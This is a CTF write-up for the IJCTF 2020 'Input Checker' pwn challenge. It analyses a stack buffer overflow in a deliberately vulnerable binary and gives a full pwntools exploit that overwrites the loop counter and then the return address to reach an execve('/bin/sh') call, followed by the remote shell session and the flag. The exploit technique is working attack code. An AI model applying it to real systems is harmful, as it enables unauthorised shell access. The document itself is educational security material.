Tags: pwn 

Rating:

# IJCTF 2020

## Input Checker

> 100
>
> Finding the best input.
>
> `nc 35.186.153.116 5001`
>
> Challenge File: [https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input](input)
>
> Author: Tux

Tags: _pwn_ _bof_ _remote-shell_

### Analysis

#### Checksec

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Few mitigations in place, basically no shellcode, everything else is fair game.

#### Decompile with Ghidra

![](./main.png)

You can ignore lines 15-28, they just fill up `local_648` with random garbage and then tease you with the possibility of getting a shell if you get the right garbage.

> `0x402005` on line 17 is `/dev/urandom` (look at the disassembly).

Lines 29-34 are the vulnerability:

```c
local_20 = 0;
while (local_20 < 0x442) {
local_2c = getchar();
local_438[local_20] = (char)local_2c;
local_20 = local_20 + 1;
}
```

This loop writes `0x442` (`getchar()`) bytes to `local_438`, however `local_438` is only `0x438` bytes above the return address (Ghidra stack diagram):

```
undefined8 RAX:8 <RETURN>
undefined4 Stack[-0x1c]:4 local_1c
undefined4 Stack[-0x20]:4 local_20
undefined8 Stack[-0x28]:8 local_28
undefined4 Stack[-0x2c]:4 local_2c
undefined4 Stack[-0x38]:4 local_38
undefined4 Stack[-0x3c]:4 local_3c
undefined4 Stack[-0x40]:4 local_40
undefined4 Stack[-0x44]:4 local_44
undefined4 Stack[-0x48]:4 local_48
undefined1 Stack[-0x438]:1 local_438
undefined1 Stack[-0x648]:1 local_648
```

Clearly we can overwrite the return address. And the obvious target is `execve` above (line 26 disassembly):

```
00401253 ba 00 00 00 00 MOV EDX,0x0
00401258 be 00 00 00 00 MOV ESI,0x0
0040125d 48 8d 3d ae 0d 00 00 LEA RDI,[s_/bin/sh_00402012] = "/bin/sh"
00401264 e8 37 fe ff ff CALL execve // int execve(char * __path, char *
```

Easy, just write out 1080 (`0x438`) bytes followed by `0x0000000000401253`, right?

Well, not really. On the way to the return address is `local_20`--the loop counter. Some care will need to be taken to set `local_20` correctly at the right time.

### Exploit

```python
#!/usr/bin/env python3

from pwn import *

#p = process('./input')
p = remote('35.186.153.116', 5001)

#p.recvuntil('Input: ')

'''
undefined8 RAX:8 <RETURN>
undefined4 Stack[-0x1c]:4 local_1c
undefined4 Stack[-0x20]:4 local_20
undefined8 Stack[-0x28]:8 local_28
undefined4 Stack[-0x2c]:4 local_2c
undefined4 Stack[-0x38]:4 local_38
undefined4 Stack[-0x3c]:4 local_3c
undefined4 Stack[-0x40]:4 local_40
undefined4 Stack[-0x44]:4 local_44
undefined4 Stack[-0x48]:4 local_48
undefined1 Stack[-0x438]:1 local_438
undefined1 Stack[-0x648]:1 local_648
'''

payload = (0x438 - 0x20) * b'A'
payload += p8(((0x438 - 0x20) & 0xFF) + 0x20 - 1)
payload += p64(0x401253)

p.sendline(payload)
p.interactive()
```

> This works locally, but remotely I had to comment out the `recvuntil`--probably a buffering issue on their end.

The payload has the following three movements:

#### The Fast Movement (Allegro)

`(0x438 - 0x20) * b'A'` overflows the buffer (`local_438`) and stack just before the variable `local_20` (the loop counter).

> See the stack diagram above as to why it's `(0x438 - 0x20)`.

#### The Slow Movement (Adagio)

After blasting `1048` (`0x438` - `0x20`) bytes, we need to slow down and send one specific byte to have `local_20` jump over itself and target the return address.

```c
local_20 = 0;
while (local_20 < 0x442) {
local_2c = getchar();
local_438[local_20] = (char)local_2c;
local_20 = local_20 + 1;
}
```

At this point in the execution `local_20` is 1048 (`0x418`), the next `getchar()` value will be written to `local_438[1048]` which is the same as the low order byte of `local_20`. We cannot just blindly keep writing `A`s. What we need to write is a value that when incremented will have `local_438` + `local_20` pointing to the return address:

```python
p8(((0x438 - 0x20) & 0xFF) + 0x20 - 1)
```

To do this, we need to increase the least significant byte of `local_20` by `0x20` (distance from the return address (see stack diagram above), less `1`, because it gets added back with `local_20 = local_20 + 1`.

#### The Dance Number (Scherzo ("joke"))

Now that `local_438` + `local_20` is pointing to the return address, overwrite with the address to the `execve` call in `main`:

```python
payload += p64(0x401253)
```

#### Output

```
# ./exploit.py
[+] Opening connection to 35.186.153.116 on port 5001: Done
[*] Switching to interactive mode
$
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ cat flag.txt
IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}
```

#### Flag

```
IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/ijctf2020/input).